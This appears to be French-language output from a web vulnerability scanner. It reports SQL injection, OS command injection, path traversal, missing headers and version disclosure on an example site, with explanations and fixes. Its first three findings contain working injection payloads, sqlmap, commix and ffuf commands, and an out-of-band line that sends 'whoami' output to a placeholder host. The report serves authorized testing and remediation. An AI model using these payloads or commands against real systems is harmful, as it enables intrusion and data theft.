EXPLICATION SIMPLE (sans jargon)
• C'est quoi le problème ?
Ton site pose une question à sa base de données en y collant directement ce que tape le visiteur. Un visiteur malin peut donc réécrire la question à sa place.
• Où, exactement, sur ton site ?
- Page concernée : https://app.exemple.fr/produit
- L'endroit précis : le champ « id » (envoyé en GET)
• Ce qu'un pirate peut en faire :
Lire toute ta base : comptes, mots de passe, e-mails, commandes de tes clients. Parfois se connecter en admin sans mot de passe.
• Comment le réparer, pas à pas :
1. Ne colle JAMAIS le texte du visiteur dans une requête SQL. Utilise des requêtes préparées (paramétrées).
2. PHP/PDO : $r = $pdo->prepare("SELECT * FROM produits WHERE id = ?"); $r->execute([$id]);
3. Vérifie que « id » est bien un nombre : refuse tout le reste.1" AND SLEEP(6)-- -référence 0.4s | contrôle(0) 0.5s | délai(3) 3.6s | délai(6) 6.5s — le délai CROÎT proportionnellement à la charge (ratio ~1.0), reproduit deux fois. Une latence réseau ne suit PAS la charge.
🎯 FAILLE : Injection SQL — aveugle temporisée (mysql)
Adresse : https://app.exemple.fr/produit?id=1
Paramètre : id (méthode GET)
Charge : 1" AND SLEEP(6)-- -
En 1 phrase : Injection SQL aveugle temporisée sur le paramètre « id ».
État : CONFIRMÉE — signal rejoué deux fois (absent de la référence)
━━━━━━━━━━ CE QUE TU DOIS FAIRE, DANS L'ORDRE ━━━━━━━━━━
▶ ÉTAPE 1 — Ouvre un terminal (Kali : « Terminal » ; Windows : PowerShell).
▶ ÉTAPE 2 — Confirme la faille toi-même (curl est installé partout)
👉 Copie-colle : curl -i "https://app.exemple.fr/produit?id=1%22%20AND%20SLEEP(6)--%20-"
✅ Tu dois voir : la page met plusieurs SECONDES de plus à répondre avec la charge, alors qu'elle répond tout de suite avec une valeur normale.
▶ ÉTAPE 3 — Exploite avec sqlmap (déjà installé sur Kali)
👉 Copie-colle : sqlmap -u "https://app.exemple.fr/produit?id=1" -p id --batch --random-agent --level=5 --risk=3
✅ Tu dois voir : « … is vulnerable », puis le SGBD, le compte utilisé et ses droits.
▶ ÉTAPE 4 — Prouve l'impact — minimal et propre
👉 Copie-colle : sqlmap -u "https://app.exemple.fr/produit?id=1" -p id --batch --current-user --current-db --is-dba
⛔ Jamais --dump sur toute la base, jamais --os-shell.
━━━━━━━━━━ CORRECTION (à transmettre au client) ━━━━━━━━━━
1. Requêtes PARAMÉTRÉES partout (variables liées) — jamais de concaténation.
2. Valider/typer strictement les entrées (id = entier).
3. Compte SGBD au moindre privilège (pas de DBA, pas de FILE).
4. Désactiver l'affichage des erreurs SQL détaillées en production.
⚠ Cible AUTORISÉE PAR ÉCRIT uniquement. Vérification bornée et non destructive (rien extrait/conservé, rien modifié).EXPLICATION SIMPLE (sans jargon)
• C'est quoi le problème ?
Ton site lance des commandes système en y collant du texte du visiteur. Le visiteur peut donc glisser SA propre commande.
• Où, exactement, sur ton site ?
- Page concernée : https://app.exemple.fr/outils/ping
- L'endroit précis : le champ « host » (envoyé en GET)
• Ce qu'un pirate peut en faire :
Exécuter n'importe quelle commande sur ton serveur : tout lire, tout supprimer, installer un virus, rebondir vers ton réseau interne.
• Comment le réparer, pas à pas :
1. N'appelle pas un terminal avec du texte du visiteur. Utilise les fonctions qui prennent les arguments dans une LISTE.
2. Node.js : execFile('ping', ['-c','1', hote]) au lieu de exec('ping '+hote).
3. Vérifie strictement la valeur attendue (une adresse doit ressembler à une adresse).127.0.0.1 & ping -c 4 127.0.0.1référence 0.2s | contrôle(0) 0.3s | délai(2) 2.4s | délai(4) 4.3s — le délai CROÎT avec la charge (proportionnel), ce qu'une latence réseau ne fait pas.
🎯 FAILLE : Injection de commande OS — délai temporel
Adresse : https://app.exemple.fr/outils/ping
Paramètre : host (méthode GET)
Charge : 127.0.0.1 & ping -c 4 127.0.0.1
État : CONFIRMÉE — signal rejoué deux fois (absent de la référence)
━━━━━━━━━━ CE QUE TU DOIS FAIRE, DANS L'ORDRE ━━━━━━━━━━
▶ ÉTAPE 1 — Confirme avec curl : la page répond plusieurs secondes de plus avec la charge.
▶ ÉTAPE 2 — Fais sortir la preuve vers ton collaborateur OOB (la sortie est aveugle) :
; curl http://TON-OOB/$(whoami) (Linux) — ou — & nslookup %USERNAME%.TON-OOB (Windows)
▶ ÉTAPE 3 — Automatise avec commix : commix -u "https://app.exemple.fr/outils/ping?host=127.0.0.1"
━━━━━━━━━━ CORRECTION (à transmettre au client) ━━━━━━━━━━
1. Jamais de shell avec entrée utilisateur — API avec TABLEAU d'arguments (shell=False).
2. Liste blanche stricte (host = regex IP/domaine).
3. Service au moindre privilège ; durcir avec AppArmor/SELinux.
⚠ Cible AUTORISÉE PAR ÉCRIT uniquement. Vérification bornée et non destructive.EXPLICATION SIMPLE (sans jargon) • C'est quoi le problème ? Ton site ouvre un fichier dont le nom vient du visiteur. En écrivant ../../ le visiteur remonte dans les dossiers et lit des fichiers qu'il ne devrait pas voir. • Où, exactement, sur ton site ? - Page concernée : https://app.exemple.fr/telecharger - L'endroit précis : le champ « file » (envoyé en GET) • Ce qu'un pirate peut en faire : Lire des fichiers privés du serveur : configuration, mots de passe, code source. Parfois cela mène à exécuter du code. • Comment le réparer, pas à pas : 1. Fais correspondre un identifiant à un fichier côté serveur (1 → rapport.pdf) et refuse tout le reste. 2. Si tu acceptes un nom, garde seulement le basename et vérifie que le chemin final reste dans le dossier autorisé. 3. Interdis « ../ » et les chemins absolus ; range les secrets HORS du dossier public.
../../../../etc/passwdréponse différente pour un fichier système RÉEL (../×4 etc/passwd) vs un fichier INEXISTANT de même forme — l'app résout le chemin fourni.
🎯 FAILLE : Traversée de chemin — oracle d'existence de fichier
Adresse : https://app.exemple.fr/telecharger
Paramètre : file (méthode GET)
Charge : ../../../../etc/passwd
État : CONFIRMÉE — signal rejoué deux fois (absent de la référence)
━━━━━━━━━━ CE QUE TU DOIS FAIRE, DANS L'ORDRE ━━━━━━━━━━
▶ ÉTAPE 1 — Confirme avec curl :
curl -i "https://app.exemple.fr/telecharger?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
✅ Tu dois voir des lignes « root:x:0:0:… ».
▶ ÉTAPE 2 — Automatise avec ffuf (« FUZZ » = l'endroit testé) :
ffuf -u "https://app.exemple.fr/telecharger?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mr "root:x:0:0"
━━━━━━━━━━ CORRECTION (à transmettre au client) ━━━━━━━━━━
1. Identifiant indirect (mappage id→fichier) avec liste blanche.
2. basename() + validation, puis vérifier que realpath reste DANS le répertoire autorisé.
3. allow_url_include=Off (PHP) ; secrets hors racine web.
⚠ Cible AUTORISÉE PAR ÉCRIT uniquement. Vérification bornée et non destructive.EXPLICATION SIMPLE (sans jargon) • C'est quoi le problème ? Il manque des « en-têtes » de sécurité : de petites consignes que le serveur donne au navigateur pour le protéger. Sans elles, certaines attaques sont plus faciles. • Où, exactement, sur ton site ? - Toutes les pages de https://app.exemple.fr • Comment le réparer, pas à pas : 1. Ajoute une Content-Security-Policy stricte, X-Content-Type-Options: nosniff, et HSTS. 2. Sur Nginx : add_header dans le bloc server, puis recharge la configuration.
Absents : Content-Security-Policy, X-Content-Type-Options, Strict-Transport-Security, Referrer-Policy.
EXPLICATION SIMPLE (sans jargon) • C'est quoi le problème ? Le serveur annonce ses versions logicielles. Ce n'est pas une faille en soi, mais cela aide un attaquant à cibler des failles connues. • Comment le réparer, pas à pas : 1. Masque la version dans l'en-tête « Server » (Nginx : server_tokens off;). 2. Retire l'en-tête « X-Powered-By ».
Server: nginx/1.24.0 · X-Powered-By: PHP/8.2.1